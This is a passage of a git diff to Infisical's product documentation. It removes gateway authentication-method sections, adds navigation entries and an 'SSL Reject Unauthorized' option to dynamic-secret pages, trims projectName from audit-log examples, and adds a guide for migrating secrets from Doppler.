-      infisical gateway --auth-method=gcp-iam --machine-identity-id=<machine-identity-id> --service-account-key-file-path=<service-account-key-file-path>
-    ```
-
-  </Accordion>
-  <Accordion title="Native AWS IAM">
-    The AWS IAM method is used to authenticate with Infisical with an AWS IAM role while running in an AWS environment like EC2, Lambda, etc.
-
-    <ParamField query="Flags">
-      <Expandable title="properties">
-          <ParamField query="machine-identity-id" type="string" required>
-            Your machine identity ID.
-          </ParamField>
-          <ParamField query="auth-method" type="string" required>
-            The authentication method to use. Must be `aws-iam` when using Native AWS IAM.
-          </ParamField>
-      </Expandable>
-    </ParamField>
-
-      ```bash
-        infisical gateway --auth-method=aws-iam --machine-identity-id=<machine-identity-id>
-      ```
-
-  </Accordion>
-  <Accordion title="OIDC Auth">
-    The OIDC Auth method is used to authenticate with Infisical via identity tokens with OIDC.
-
-    <ParamField query="Flags">
-      <Expandable title="properties">
-          <ParamField query="machine-identity-id" type="string" required>
-            Your machine identity ID.
-          </ParamField>
-          <ParamField query="jwt" type="string" required>
-            The OIDC JWT from the identity provider.
-          </ParamField>
-          <ParamField query="auth-method" type="string" required>
-            The authentication method to use. Must be `oidc-auth` when using OIDC Auth.
-          </ParamField>
-      </Expandable>
-    </ParamField>
-
-    ```bash
-      infisical gateway --auth-method=oidc-auth --machine-identity-id=<machine-identity-id> --jwt=<oidc-jwt>
-    ```
-
-  </Accordion>
-
-  <Accordion title="JWT Auth">
-    The JWT Auth method is used to authenticate with Infisical via a JWT token.
-
-    <ParamField query="Flags">
-      <Expandable title="properties">
-          <ParamField query="jwt" type="string" required>
-            The JWT token to use for authentication.
-          </ParamField>
-          <ParamField query="machine-identity-id" type="string" required>
-            Your machine identity ID.
-          </ParamField>
-          <ParamField query="auth-method" type="string" required>
-            The authentication method to use. Must be `jwt-auth` when using JWT Auth.
-          </ParamField>
-      </Expandable>
-    </ParamField>
-
-
-    ```bash
-      infisical gateway --auth-method=jwt-auth --jwt=<jwt> --machine-identity-id=<machine-identity-id>
-    ```
-
-  </Accordion>
-  <Accordion title="Token Auth">
-    You can use the `INFISICAL_TOKEN` environment variable to authenticate with Infisical with a raw machine identity access token.
-
-    <ParamField query="Flags">
-      <Expandable title="properties">
-          <ParamField query="token" type="string" required>
-            The machine identity access token to use for authentication.
-          </ParamField>
-      </Expandable>
-    </ParamField>
-
-    ```bash
-      infisical gateway --token=<token>
-    ```
-
-  </Accordion>
-</AccordionGroup>
-
 ### Other Flags
 
   <AccordionGroup>
@@ -632,32 +251,6 @@ sudo infisical gateway install --token=<token> --domain=<domain>
 - Must be run with root/sudo privileges
 - Requires systemd
 
-### Flags
-
-  <AccordionGroup>
-  <Accordion title="--token">
-    The machine identity access token to authenticate with Infisical.
-
-    ```bash
-    # Example
-    sudo infisical gateway install --token=<token>
-    ```
-
-    You may also expose the token to the CLI by setting the environment variable `INFISICAL_TOKEN` before executing the install command.
-
-  </Accordion>
-
-  <Accordion title="--domain">
-    Domain of your self-hosted Infisical instance.
-
-    ```bash
-    # Example
-    sudo infisical gateway install --domain=https://app.your-domain.com
-    ```
-
-  </Accordion>
-  </AccordionGroup>
-
 ### Service Details
 
 The systemd service is installed with secure defaults:
@@ -686,10 +279,16 @@ sudo systemctl disable infisical-gateway  # Disable auto-start on boot
 ## Frequently Asked Questions
 
 <AccordionGroup>
+  <Accordion title="Can I re-run the same enrollment command after a restart?">
+      Yes. The CLI stores the enrollment token locally after the first successful enrollment. If you run the same command again with the same `--token` value, it detects the token has already been used and skips enrollment, proceeding directly to start the gateway. This means you can safely use the same command (e.g., via up-arrow in your shell) without getting "token already used" or "token expired" errors.
+  </Accordion>
   <Accordion title="How are relays auto-selected?">
       If the `--target-relay-name` flag is omitted, the gateway automatically selects the optimal relay. It first checks for healthy organization relays and connects to the one with the lowest latency. If no organization relays are available, it then performs the same latency-based selection among the available managed relays.
   </Accordion>
   <Accordion title="When restarting the gateway without a relay flag, does it select a new relay every time?">
       No. The first time the gateway starts, it selects the optimal relay (based on latency) and caches that selection. On subsequent restarts, it will prioritize connecting to the cached relay. If it's unable to connect, it will then re-evaluate and connect to the next most optimal relay available.
   </Accordion>
+  <Accordion title="Will additional authentication methods be supported?">
+      Yes. Additional gateway authentication methods are planned for future releases.
+  </Accordion>
 </AccordionGroup>
diff --git a/docs/docs.json b/docs/docs.json
index f00db502ad8..c8703ba396c 100644
--- a/docs/docs.json
+++ b/docs/docs.json
@@ -124,7 +124,9 @@
                       "integrations/app-connections/cloudflare",
                       "integrations/app-connections/databricks",
                       "integrations/app-connections/dbt",
+                      "integrations/app-connections/digicert",
                       "integrations/app-connections/digital-ocean",
+                      "integrations/app-connections/doppler",
                       "integrations/app-connections/dns-made-easy",
                       "integrations/app-connections/flyio",
                       "integrations/app-connections/gcp",
@@ -144,6 +146,7 @@
                       "integrations/app-connections/netlify",
                       "integrations/app-connections/netscaler",
                       "integrations/app-connections/northflank",
+                      "integrations/app-connections/ona",
                       "integrations/app-connections/oci",
                       "integrations/app-connections/octopus-deploy",
                       "integrations/app-connections/okta",
@@ -156,7 +159,9 @@
                       "integrations/app-connections/supabase",
                       "integrations/app-connections/teamcity",
                       "integrations/app-connections/terraform-cloud",
+                      "integrations/app-connections/travis-ci",
                       "integrations/app-connections/venafi",
+                      "integrations/app-connections/venafi-tpp",
                       "integrations/app-connections/vercel",
                       "integrations/app-connections/windmill",
                       "integrations/app-connections/smb",
@@ -177,6 +182,7 @@
                 "group": "External Migrations",
                 "pages": [
                   "documentation/platform/external-migrations/overview",
+                  "documentation/platform/external-migrations/doppler",
                   "documentation/platform/external-migrations/envkey",
                   "documentation/platform/external-migrations/vault"
                 ]
@@ -193,6 +199,7 @@
                 "group": "Gateway",
                 "pages": [
                   "documentation/platform/gateways/overview",
+                  "documentation/platform/gateways/gateway-pools",
                   "documentation/platform/gateways/gateway-deployment",
                   {
                     "group": "Relay Deployment",
@@ -478,6 +485,7 @@
                       "documentation/platform/secret-rotation/oracledb-credentials",
                       "documentation/platform/secret-rotation/postgres-credentials",
                       "documentation/platform/secret-rotation/redis-credentials",
+                      "documentation/platform/secret-rotation/supabase-api-key",
                       "documentation/platform/secret-rotation/unix-linux-local-account",
                       "documentation/platform/secret-rotation/windows-local-account"
                     ]
@@ -596,6 +604,7 @@
                       "integrations/secret-syncs/laravel-forge",
                       "integrations/secret-syncs/netlify",
                       "integrations/secret-syncs/northflank",
+                      "integrations/secret-syncs/ona",
                       "integrations/secret-syncs/oci-vault",
                       "integrations/secret-syncs/octopus-deploy",
                       "integrations/secret-syncs/railway",
@@ -603,6 +612,7 @@
                       "integrations/secret-syncs/supabase",
                       "integrations/secret-syncs/teamcity",
                       "integrations/secret-syncs/terraform-cloud",
+                      "integrations/secret-syncs/travis-ci",
                       "integrations/secret-syncs/vercel",
                       "integrations/secret-syncs/windmill",
                       "integrations/secret-syncs/zabbix"
@@ -830,10 +840,13 @@
                   "documentation/platform/pki/ca/acme-ca",
                   "documentation/platform/pki/ca/lets-encrypt",
                   "documentation/platform/pki/ca/digicert",
+                  "documentation/platform/pki/ca/digicert-direct",
                   "documentation/platform/pki/ca/sectigo",
                   "documentation/platform/pki/ca/azure-adcs",
                   "documentation/platform/pki/ca/aws-pca",
-                  "documentation/platform/pki/ca/venafi"
+                  "documentation/platform/pki/ca/aws-acm-public-ca",
+                  "documentation/platform/pki/ca/venafi",
+                  "documentation/platform/pki/ca/venafi-tpp"
                 ]
               }
             ]
@@ -917,29 +930,9 @@
             ]
           },
           {
-            "item": "Agent Sentinel",
-            "groups": [
-              {
-                "group": "Agent Sentinel",
-                "pages": [
-                  "documentation/platform/agent-sentinel/overview",
-                  {
-                    "group": "Concepts",
-                    "pages": [
-                      "documentation/platform/agent-sentinel/concepts/mcp-overview"
-                    ]
-                  }
-                ]
-              },
-              {
-                "group": "Product Reference",
-                "pages": [
-                  "documentation/platform/agent-sentinel/mcp-servers",
-                  "documentation/platform/agent-sentinel/mcp-endpoints",
-                  "documentation/platform/agent-sentinel/activity-logs"
-                ]
-              }
-            ]
+            "item": "Agent Vault",
+            "icon": "arrow-up-right-from-square",
+            "href": "https://docs.agent-vault.dev/"
           }
         ]
       },
@@ -1469,6 +1462,18 @@
                       "api-reference/endpoints/app-connections/dbt/delete"
                     ]
                   },
+                  {
+                    "group": "DigiCert",
+                    "pages": [
+                      "api-reference/endpoints/app-connections/digicert/list",
+                      "api-reference/endpoints/app-connections/digicert/available",
+                      "api-reference/endpoints/app-connections/digicert/get-by-id",
+                      "api-reference/endpoints/app-connections/digicert/get-by-name",
+                      "api-reference/endpoints/app-connections/digicert/create",
+                      "api-reference/endpoints/app-connections/digicert/update",
+                      "api-reference/endpoints/app-connections/digicert/delete"
+                    ]
+                  },
                   {
                     "group": "Digital Ocean",
                     "pages": [
@@ -1481,6 +1486,18 @@
                       "api-reference/endpoints/app-connections/digital-ocean/delete"
                     ]
                   },
+                  {
+                    "group": "Doppler",
+                    "pages": [
+                      "api-reference/endpoints/app-connections/doppler/list",
+                      "api-reference/endpoints/app-connections/doppler/available",
+                      "api-reference/endpoints/app-connections/doppler/get-by-id",
+                      "api-reference/endpoints/app-connections/doppler/get-by-name",
+                      "api-reference/endpoints/app-connections/doppler/create",
+                      "api-reference/endpoints/app-connections/doppler/update",
+                      "api-reference/endpoints/app-connections/doppler/delete"
+                    ]
+                  },
                   {
                     "group": "Fly.io",
                     "pages": [
@@ -2349,6 +2366,19 @@
                       "api-reference/endpoints/secret-rotations/redis-credentials/update"
                     ]
                   },
+                  {
+                    "group": "Supabase API Key",
+                    "pages": [
+                      "api-reference/endpoints/secret-rotations/supabase-api-key/create",
+                      "api-reference/endpoints/secret-rotations/supabase-api-key/delete",
+                      "api-reference/endpoints/secret-rotations/supabase-api-key/get-by-id",
+                      "api-reference/endpoints/secret-rotations/supabase-api-key/get-by-name",
+                      "api-reference/endpoints/secret-rotations/supabase-api-key/get-generated-credentials-by-id",
+                      "api-reference/endpoints/secret-rotations/supabase-api-key/list",
+                      "api-reference/endpoints/secret-rotations/supabase-api-key/rotate-secrets",
+                      "api-reference/endpoints/secret-rotations/supabase-api-key/update"
+                    ]
+                  },
                   {
                     "group": "HP iLO Local Account",
                     "pages": [
@@ -2930,6 +2960,26 @@
                       "api-reference/endpoints/certificate-authorities/aws-pca/delete"
                     ]
                   },
+                  {
+                    "group": "DigiCert",
+                    "pages": [
+                      "api-reference/endpoints/certificate-authorities/digicert/list",
+                      "api-reference/endpoints/certificate-authorities/digicert/create",
+                      "api-reference/endpoints/certificate-authorities/digicert/read",
+                      "api-reference/endpoints/certificate-authorities/digicert/update",
+                      "api-reference/endpoints/certificate-authorities/digicert/delete"
+                    ]
+                  },
+                  {
+                    "group": "AWS ACM Public CA",
+                    "pages": [
+                      "api-reference/endpoints/certificate-authorities/aws-acm-public-ca/list",
+                      "api-reference/endpoints/certificate-authorities/aws-acm-public-ca/create",
+                      "api-reference/endpoints/certificate-authorities/aws-acm-public-ca/read",
+                      "api-reference/endpoints/certificate-authorities/aws-acm-public-ca/update",
+                      "api-reference/endpoints/certificate-authorities/aws-acm-public-ca/delete"
+                    ]
+                  },
                   {
                     "group": "Internal",
                     "pages": [
@@ -3239,7 +3289,8 @@
                   "api-reference/endpoints/kms/keys/update",
                   "api-reference/endpoints/kms/keys/delete",
                   "api-reference/endpoints/kms/keys/public-key",
-                  "api-reference/endpoints/kms/keys/private-key"
+                  "api-reference/endpoints/kms/keys/private-key",
+                  "api-reference/endpoints/kms/keys/bulk-export-private-keys"
                 ]
               },
               {
@@ -3259,6 +3310,23 @@
               }
             ]
           },
+          {
+            "group": "External Migrations",
+            "pages": [
+              {
+                "group": "Doppler",
+                "pages": [
+                  "api-reference/endpoints/external-migrations/doppler/get-configs",
+                  "api-reference/endpoints/external-migrations/doppler/create-config",
+                  "api-reference/endpoints/external-migrations/doppler/update-config",
+                  "api-reference/endpoints/external-migrations/doppler/delete-config",
+                  "api-reference/endpoints/external-migrations/doppler/get-projects",
+                  "api-reference/endpoints/external-migrations/doppler/get-environments",
+                  "api-reference/endpoints/external-migrations/doppler/import-secrets"
+                ]
+              }
+            ]
+          },
           {
             "group": "Other",
             "pages": [
diff --git a/docs/documentation/platform/audit-log-streams/audit-log-streams.mdx b/docs/documentation/platform/audit-log-streams/audit-log-streams.mdx
index b2a1ccb964e..36386e3ff57 100644
--- a/docs/documentation/platform/audit-log-streams/audit-log-streams.mdx
+++ b/docs/documentation/platform/audit-log-streams/audit-log-streams.mdx
@@ -122,7 +122,6 @@ This prevents audit logs from being written to PostgreSQL while still streaming
                 "userAgentType": "web",
                 "eventType": "get-secrets",
                 "eventMetadata": {},
-                "projectName": "MyProject",
                 "orgId": "00000000-0000-0000-0000-000000000000",
                 "projectId": "00000000-0000-0000-0000-000000000000",
                 "TimeGenerated": "2025-01-01T00:00:00.000Z"
@@ -326,8 +325,7 @@ This prevents audit logs from being written to PostgreSQL while still streaming
   "createdAt": "2025-01-15T01:11:25.552Z",
   "updatedAt": "2025-01-15T01:11:25.552Z",
   "orgId": "785649f1-ff4b-4ef9-a40a-9b9878e46e57",
-  "projectId": "09bfcc01-0917-4bea-9c7a-2d320584d5b1",
-  "projectName": "example-project"
+  "projectId": "09bfcc01-0917-4bea-9c7a-2d320584d5b1"
 }
 ```
 
@@ -433,8 +431,4 @@ This prevents audit logs from being written to PostgreSQL while still streaming
     The `projectId` field will only be present if the event occurred at the project level, not the organization level.
 </ParamField>
 
-<ParamField path="projectName" type="string">
-    The name of the project where the event occurred.
 
-    The `projectName` field will only be present if the event occurred at the project level, not the organization level.
-</ParamField>
diff --git a/docs/documentation/platform/audit-logs.mdx b/docs/documentation/platform/audit-logs.mdx
index 3352d944721..80a31f86121 100644
--- a/docs/documentation/platform/audit-logs.mdx
+++ b/docs/documentation/platform/audit-logs.mdx
@@ -58,7 +58,6 @@ Each log contains the following data:
    "updatedAt": "[TIMESTAMP]",
    "orgId": "[ORGANIZATION_UUID]",
    "projectId": "[PROJECT_UUID]",
-   "projectName": "[PROJECT_NAME]",
    "event": {
        "type": "get-secrets",
        "metadata": {
diff --git a/docs/documentation/platform/dynamic-secrets/azure-sql-database.mdx b/docs/documentation/platform/dynamic-secrets/azure-sql-database.mdx
index b95cadf015d..7c3a7bc160b 100644
--- a/docs/documentation/platform/dynamic-secrets/azure-sql-database.mdx
+++ b/docs/documentation/platform/dynamic-secrets/azure-sql-database.mdx
@@ -85,6 +85,10 @@ The user needs:
     	SSL certificate authority certificate. For Azure SQL Database, this is typically not required as Azure manages the certificates.
     </ParamField>
 
+    <ParamField path="SSL Reject Unauthorized" type="boolean" default="true">
+      If enabled, the server certificate will be verified against the list of supplied CAs. Disable this option if you are using a self-signed certificate.
+    </ParamField>
+
     ![Dynamic Secret Setup Modal](../../../images/platform/dynamic-secrets/azure-sql-database/create-dynamic-secret-form.png)
 
   </Step>
diff --git a/docs/documentation/platform/dynamic-secrets/cassandra.mdx b/docs/documentation/platform/dynamic-secrets/cassandra.mdx
index b5251a346fe..41356838244 100644
--- a/docs/documentation/platform/dynamic-secrets/cassandra.mdx
+++ b/docs/documentation/platform/dynamic-secrets/cassandra.mdx
@@ -76,6 +76,10 @@ The above configuration allows user creation and granting permissions.
 		A CA may be required if your cassandra requires it for incoming connections.
   </ParamField>
 
+	<ParamField path="SSL Reject Unauthorized" type="boolean" default="true">
+	  If enabled, the server certificate will be verified against the list of supplied CAs. Disable this option if you are using a self-signed certificate.
+	</ParamField>
+
 	![Dynamic Secret Setup Modal](../../../images/platform/dynamic-secrets/dynamic-secret-setup-modal-cassandra.png)
 
   </Step>
diff --git a/docs/documentation/platform/dynamic-secrets/elastic-search.mdx b/docs/documentation/platform/dynamic-secrets/elastic-search.mdx
index e27b030b496..c701d3f106d 100644
--- a/docs/documentation/platform/dynamic-secrets/elastic-search.mdx
+++ b/docs/documentation/platform/dynamic-secrets/elastic-search.mdx
@@ -89,6 +89,9 @@ The port that your Elasticsearch instance is running on. _(Example: 9200)_
     <ParamField path="CA(SSL)" type="string">
     	A CA may be required if your DB requires it for incoming connections. This is often the case when connecting to a managed service.
     </ParamField>
+    <ParamField path="SSL Reject Unauthorized" type="boolean" default="true">
+      If enabled, the server certificate will be verified against the list of supplied CAs. Disable this option if you are using a self-signed certificate.
+    </ParamField>
     <DynamicSecretUsernameTemplateParamField />
 
 ![Dynamic Secret Setup Modal](../../../images/platform/dynamic-secrets/dynamic-secret-input-modal-elastic-search.png)
diff --git a/docs/documentation/platform/dynamic-secrets/kubernetes.mdx b/docs/documentation/platform/dynamic-secrets/kubernetes.mdx
index a7d16b11104..7f02faf0fd2 100644
--- a/docs/documentation/platform/dynamic-secrets/kubernetes.mdx
+++ b/docs/documentation/platform/dynamic-secrets/kubernetes.mdx
@@ -432,6 +432,9 @@ This feature is ideal for scenarios where you need to:
     <ParamField path="CA" type="string">
       Custom CA certificate for the Kubernetes API server. Leave blank to use the system/public CA. Not required when using Gateway authentication as the Gateway will use its internal TLS configuration.
     </ParamField>
+    <ParamField path="SSL Reject Unauthorized" type="boolean" default="true">
+      If enabled, the server certificate will be verified against the list of supplied CAs. Disable this option if you are using a self-signed certificate.
+    </ParamField>
     <ParamField path="Auth Method" type="string" required>
       Choose between Token (API) or Gateway authentication. If using Gateway, the Gateway must be deployed in your Kubernetes cluster.
     </ParamField>
diff --git a/docs/documentation/platform/dynamic-secrets/ldap.mdx b/docs/documentation/platform/dynamic-secrets/ldap.mdx
index f1b0569f109..578ac59a1b4 100644
--- a/docs/documentation/platform/dynamic-secrets/ldap.mdx
+++ b/docs/documentation/platform/dynamic-secrets/ldap.mdx
@@ -56,6 +56,10 @@ The Infisical LDAP dynamic secret allows you to generate user credentials on dem
           CA certificate to use for TLS in case of a secure connection.
         </ParamField>
 
+        <ParamField path="SSL Reject Unauthorized" type="boolean" default="true">
+          If enabled, the server certificate will be verified against the list of supplied CAs. Disable this option if you are using a self-signed certificate.
+        </ParamField>
+
         <ParamField path="Credential Type" type="enum">
           The type of LDAP credential - select Dynamic.
         </ParamField>
@@ -197,6 +201,10 @@ The Infisical LDAP dynamic secret allows you to generate user credentials on dem
           CA certificate to use for TLS in case of a secure connection.
         </ParamField>
 
+        <ParamField path="SSL Reject Unauthorized" type="boolean" default="true">
+          If enabled, the server certificate will be verified against the list of supplied CAs. Disable this option if you are using a self-signed certificate.
+        </ParamField>
+
         <ParamField path="Credential Type" type="enum">
           The type of LDAP credential - select Static.
         </ParamField>
diff --git a/docs/documentation/platform/dynamic-secrets/mongo-db.mdx b/docs/documentation/platform/dynamic-secrets/mongo-db.mdx
index b3112ce2622..191b6591c21 100644
--- a/docs/documentation/platform/dynamic-secrets/mongo-db.mdx
+++ b/docs/documentation/platform/dynamic-secrets/mongo-db.mdx
@@ -68,6 +68,9 @@ Create a user with the required permission in your MongoDB instance. This user w
 	<ParamField path="CA(SSL)" type="string">
 		A CA may be required if your DB requires it for incoming connections.
 	</ParamField>
+	<ParamField path="SSL Reject Unauthorized" type="boolean" default="true">
+		If enabled, the server certificate will be verified against the list of supplied CAs. Disable this option if you are using a self-signed certificate.
+	</ParamField>
 	<DynamicSecretUsernameTemplateParamField />
 
 	![Dynamic Secret Setup Modal](../../../images/platform/dynamic-secrets/dynamic-secret-mongodb.png)
diff --git a/docs/documentation/platform/dynamic-secrets/mssql.mdx b/docs/documentation/platform/dynamic-secrets/mssql.mdx
index 31b220e86a8..94d90b7e033 100644
--- a/docs/documentation/platform/dynamic-secrets/mssql.mdx
+++ b/docs/documentation/platform/dynamic-secrets/mssql.mdx
@@ -68,6 +68,10 @@ Create a user with the required permission in your SQL instance. This user will
     	A CA may be required if your DB requires it for incoming connections. AWS RDS instances with default settings will requires a CA which can be downloaded [here](https://docs.aws.amazon.com/AmazonRDS/latest/UserGuide/UsingWithRDS.SSL.html#UsingWithRDS.SSL.CertificatesAllRegions).
     </ParamField>
 
+    <ParamField path="SSL Reject Unauthorized" type="boolean" default="true">
+    	If enabled, the server certificate will be verified against the list of supplied CAs. Disable this option if you are using a self-signed certificate.
+    </ParamField>
+
     ![Dynamic Secret Setup Modal](../../../images/platform/dynamic-secrets/dynamic-secret-setup-modal-mssql.png)
 
   </Step>
diff --git a/docs/documentation/platform/dynamic-secrets/mysql.mdx b/docs/documentation/platform/dynamic-secrets/mysql.mdx
index 475f7e338df..5de49177d4e 100644
--- a/docs/documentation/platform/dynamic-secrets/mysql.mdx
+++ b/docs/documentation/platform/dynamic-secrets/mysql.mdx
@@ -68,6 +68,10 @@ Create a user with the required permission in your SQL instance. This user will
 		A CA may be required if your DB requires it for incoming connections. AWS RDS instances with default settings will requires a CA which can be downloaded [here](https://docs.aws.amazon.com/AmazonRDS/latest/UserGuide/UsingWithRDS.SSL.html#UsingWithRDS.SSL.CertificatesAllRegions).
 	</ParamField>
 
+	<ParamField path="SSL Reject Unauthorized" type="boolean" default="true">
+		If enabled, the server certificate will be verified against the list of supplied CAs. Disable this option if you are using a self-signed certificate.
+	</ParamField>
+
   </Step>
   <Step title="(Optional) Modify SQL Statements">
   ![Modify SQL Statements Modal](../../../images/platform/dynamic-secrets/modify-sql-statement-mysql.png)
diff --git a/docs/documentation/platform/dynamic-secrets/oracle.mdx b/docs/documentation/platform/dynamic-secrets/oracle.mdx
index 74e139a013c..43cc8f50419 100644
--- a/docs/documentation/platform/dynamic-secrets/oracle.mdx
+++ b/docs/documentation/platform/dynamic-secrets/oracle.mdx
@@ -68,6 +68,10 @@ Create a user with the required permission in your SQL instance. This user will
 		A CA may be required if your DB requires it for incoming connections. AWS RDS instances with default settings will requires a CA which can be downloaded [here](https://docs.aws.amazon.com/AmazonRDS/latest/UserGuide/UsingWithRDS.SSL.html#UsingWithRDS.SSL.CertificatesAllRegions).
 	</ParamField>
 
+	<ParamField path="SSL Reject Unauthorized" type="boolean" default="true">
+		If enabled, the server certificate will be verified against the list of supplied CAs. Disable this option if you are using a self-signed certificate.
+	</ParamField>
+
 	![Dynamic Secret Setup Modal](../../../images/platform/dynamic-secrets/dynamic-secret-setup-modal-oracle.png)
 
   </Step>
diff --git a/docs/documentation/platform/dynamic-secrets/postgresql.mdx b/docs/documentation/platform/dynamic-secrets/postgresql.mdx
index 9785e7d6692..bf190f05b34 100644
--- a/docs/documentation/platform/dynamic-secrets/postgresql.mdx
+++ b/docs/documentation/platform/dynamic-secrets/postgresql.mdx
@@ -69,6 +69,10 @@ Create a user with the required permission in your SQL instance. This user will
 		A CA may be required if your DB requires it for incoming connections. AWS RDS instances with default settings will requires a CA which can be downloaded [here](https://docs.aws.amazon.com/AmazonRDS/latest/UserGuide/UsingWithRDS.SSL.html#UsingWithRDS.SSL.CertificatesAllRegions).
 	</ParamField>
 
+	<ParamField path="SSL Reject Unauthorized" type="boolean" default="true">
+		If enabled, the server certificate will be verified against the list of supplied CAs. Disable this option if you are using a self-signed certificate.
+	</ParamField>
+
 	![Dynamic Secret Setup Modal](../../../images/platform/dynamic-secrets/dynamic-secret-setup-modal-postgresql.png)
 
   </Step>
diff --git a/docs/documentation/platform/dynamic-secrets/rabbit-mq.mdx b/docs/documentation/platform/dynamic-secrets/rabbit-mq.mdx
index 42c7a2d8785..4063d150381 100644
--- a/docs/documentation/platform/dynamic-secrets/rabbit-mq.mdx
+++ b/docs/documentation/platform/dynamic-secrets/rabbit-mq.mdx
@@ -73,6 +73,10 @@ The port that the RabbitMQ management plugin is listening on. This is `15672` by
    	A CA may be required if your DB requires it for incoming connections. This is often the case when connecting to a managed service.
 </ParamField>
 
+<ParamField path="SSL Reject Unauthorized" type="boolean" default="true">
+  If enabled, the server certificate will be verified against the list of supplied CAs. Disable this option if you are using a self-signed certificate.
+</ParamField>
+
 ![Dynamic Secret Setup Modal](../../../images/platform/dynamic-secrets/dynamic-secret-input-modal-rabbit-mq.png)
 
   </Step>
diff --git a/docs/documentation/platform/dynamic-secrets/redis.mdx b/docs/documentation/platform/dynamic-secrets/redis.mdx
index 12ede82b91b..ab58c80723a 100644
--- a/docs/documentation/platform/dynamic-secrets/redis.mdx
+++ b/docs/documentation/platform/dynamic-secrets/redis.mdx
@@ -56,6 +56,10 @@ Create a user with the required permission in your Redis instance. This user wil
 		A CA may be required if your DB requires it for incoming connections. This is often the case when connecting to a managed service.
 	</ParamField>
 
+	<ParamField path="SSL Reject Unauthorized" type="boolean" default="true">
+		If enabled, the server certificate will be verified against the list of supplied CAs. Disable this option if you are using a self-signed certificate.
+	</ParamField>
+
   </Step>
   <Step title="(Optional) Modify Redis Statements">
   ![Modify Redis Statements Modal](/images/platform/dynamic-secrets/modify-redis-statement.png)
diff --git a/docs/documentation/platform/dynamic-secrets/sap-hana.mdx b/docs/documentation/platform/dynamic-secrets/sap-hana.mdx
index 0d2348a8f7e..b0c12170e36 100644
--- a/docs/documentation/platform/dynamic-secrets/sap-hana.mdx
+++ b/docs/documentation/platform/dynamic-secrets/sap-hana.mdx
@@ -61,6 +61,10 @@ The Infisical SAP HANA dynamic secret allows you to generate SAP HANA database c
 
   </ParamField>
 
+    <ParamField path="SSL Reject Unauthorized" type="boolean" default="true">
+      If enabled, the server certificate will be verified against the list of supplied CAs. Disable this option if you are using a self-signed certificate.
+    </ParamField>
+
     ![Dynamic Secret Setup Modal](../../../images/platform/dynamic-secrets/dynamic-secret-setup-modal-sap-hana.png)
 
   </Step>
diff --git a/docs/documentation/platform/external-migrations/doppler.mdx b/docs/documentation/platform/external-migrations/doppler.mdx
new file mode 100644
index 00000000000..4f8f3b3e6d3
--- /dev/null
+++ b/docs/documentation/platform/external-migrations/doppler.mdx
@@ -0,0 +1,80 @@
+---
+title: "Migrating from Doppler to Infisical"
+sidebarTitle: "Doppler"
+description: "Learn how to migrate secrets from Doppler to Infisical using in-platform migration."
+---
+
+This guide helps you bring secrets from **Doppler** into Infisical. Register a Doppler **App Connection** once, link it under **External Migrations**, then import secrets on demand — from the organization settings or directly from a project’s secret overview — into any Infisical project, environment, and folder you choose.
+
+**What you can migrate:**
+
+- **Secrets** — Key/value pairs from a Doppler **project** and **config** (root or branch) are imported into a chosen Infisical **project**, **environment**, and **secret path** (folder). Both root configs and branched configs are supported.
+
+<Warning>
+  Organization Admin Access Required: Creating and managing Doppler migration
+  configurations, listing Doppler projects and environments, and running
+  in-platform imports are limited to organization administrators, matching
+  the Vault in-platform migration model.
+</Warning>
+
+## Set Up Your Doppler Connection
+
+<Steps>
+  <Step title="Create a Doppler token">
+    In **Doppler**, create an API token that can read the projects and configs you plan to import (for example a **Personal** or **Service** token with access to the right projects).
+
+    Store the token securely; you will paste it into Infisical in the next step.
+
+  </Step>
+
+  <Step title="Create a Doppler App Connection in Infisical">
+    In Infisical, open **Organization Settings > App Connections** and add a new connection with the **Doppler** type.
+
+    Provide the token and complete the connection flow. The connection is reused anywhere Infisical needs to talk to Doppler for migration.
+
+  </Step>
+
+  <Step title="Add a Doppler migration configuration">
+    Go to **Organization Settings > External Migrations**.
+
+    Under **In-Platform Migration Tooling**, click **Add configuration**. In the provider chooser, select **Doppler**.
+
+    ![Choose Doppler in the in-platform migration provider modal](/images/platform/external-migrations/doppler-in-platform/select-doppler-provider.png)
+
+    Pick the **App Connection** you created (each row in the table is one linked connection).
+
+    ![Doppler migration configuration modal](/images/platform/external-migrations/doppler-in-platform/doppler-connection-modal.png)
+
+    <Note>
+    If you need several Doppler sources (for example different credentials), add multiple **Doppler** rows from **Add configuration**; each row can use a different App Connection.
+    </Note>
+
+    The **In-Platform Migration Tooling** table lists all configured platforms (Vault and Doppler) together: **Platform**, **Namespace** (Vault shows the namespace path; Doppler shows **—**), and **Connection**.
+
+  </Step>
+</Steps>
+
+## Migrating Secrets from Doppler to Infisical
+
+When you are already in a **Secret Manager** project and have **one** environment selected (not “all environments”):
+
+1. Open the **Secret overview** for the folder path where you want the secrets.
+2. Open the **Add Secret** split button (caret next to **Add Secret**).
+3. Choose **Add from Doppler**.
+
+![Add from Doppler on the secret overview](/images/platform/external-migrations/doppler-in-platform/import-doppler-secret-overview-option.png)
+
+4. Select the **Doppler project** and **config**; Infisical lists all configs including root configs and branch configs. Root configs are labeled with **(root)** for clarity. Infisical uses your linked migration configuration and imports into the **current** environment and path.
+
+![Import from Doppler modal on secret overview](/images/platform/external-migrations/doppler-in-platform/import-doppler-secret-overview-modal.png)
+
+## Next Steps
+
+<CardGroup cols={2}>
+  <Card title="Projects and environments" icon="folder" href="/documentation/platform/project">
+    Structure Infisical projects to mirror how you used Doppler projects and configs
+  </Card>
+  <Card title="SDKs and agents" icon="code" href="/sdks/overview">
+    Read imported secrets from applications using Infisical clients
+  </Card>
+</CardGroup>
diff --git a/docs/documentation/platform/external-migrations/overview.mdx b/docs/documentation/platform/external-migrations/overview.mdx
index d8e85fe9155..10b62c4147c 100644
--- a/docs/documentation/platform/external-migrations/overview.mdx
+++ b/docs/documentation/platform/external-migrations/overview.mdx
@@ -10,13 +10,19 @@ Infisical supports migrating resources from third-party secrets management platf
 
 Infisical offers two types of migration approaches:
 
-- **In-Platform Migration Tooling**: Configure platform connections to enable granular, on-demand imports of secrets, policies, and configurations directly within the Infisical UI. This allows you to migrate resources incrementally as needed.
+- **In-Platform Migration Tooling**: Connect supported platforms (for example HashiCorp Vault or Doppler) under **Organization Settings > External Migrations**, then run granular, on-demand imports of secrets—and Vault-only features like policies and Kubernetes-related configuration—directly in the Infisical UI. This allows you to migrate resources incrementally as needed.
 
 - **Bulk Data Import**: Perform one-time organization-level migrations to import all resources from external platforms at once. This is ideal for initial migrations when moving entirely to Infisical.
 
 ## Supported Platforms
 
+**Bulk / one-shot organization import**
+
 - [EnvKey](./envkey)
-- [Vault](./vault)
+
+**In-platform migration (per-platform guides)**
+
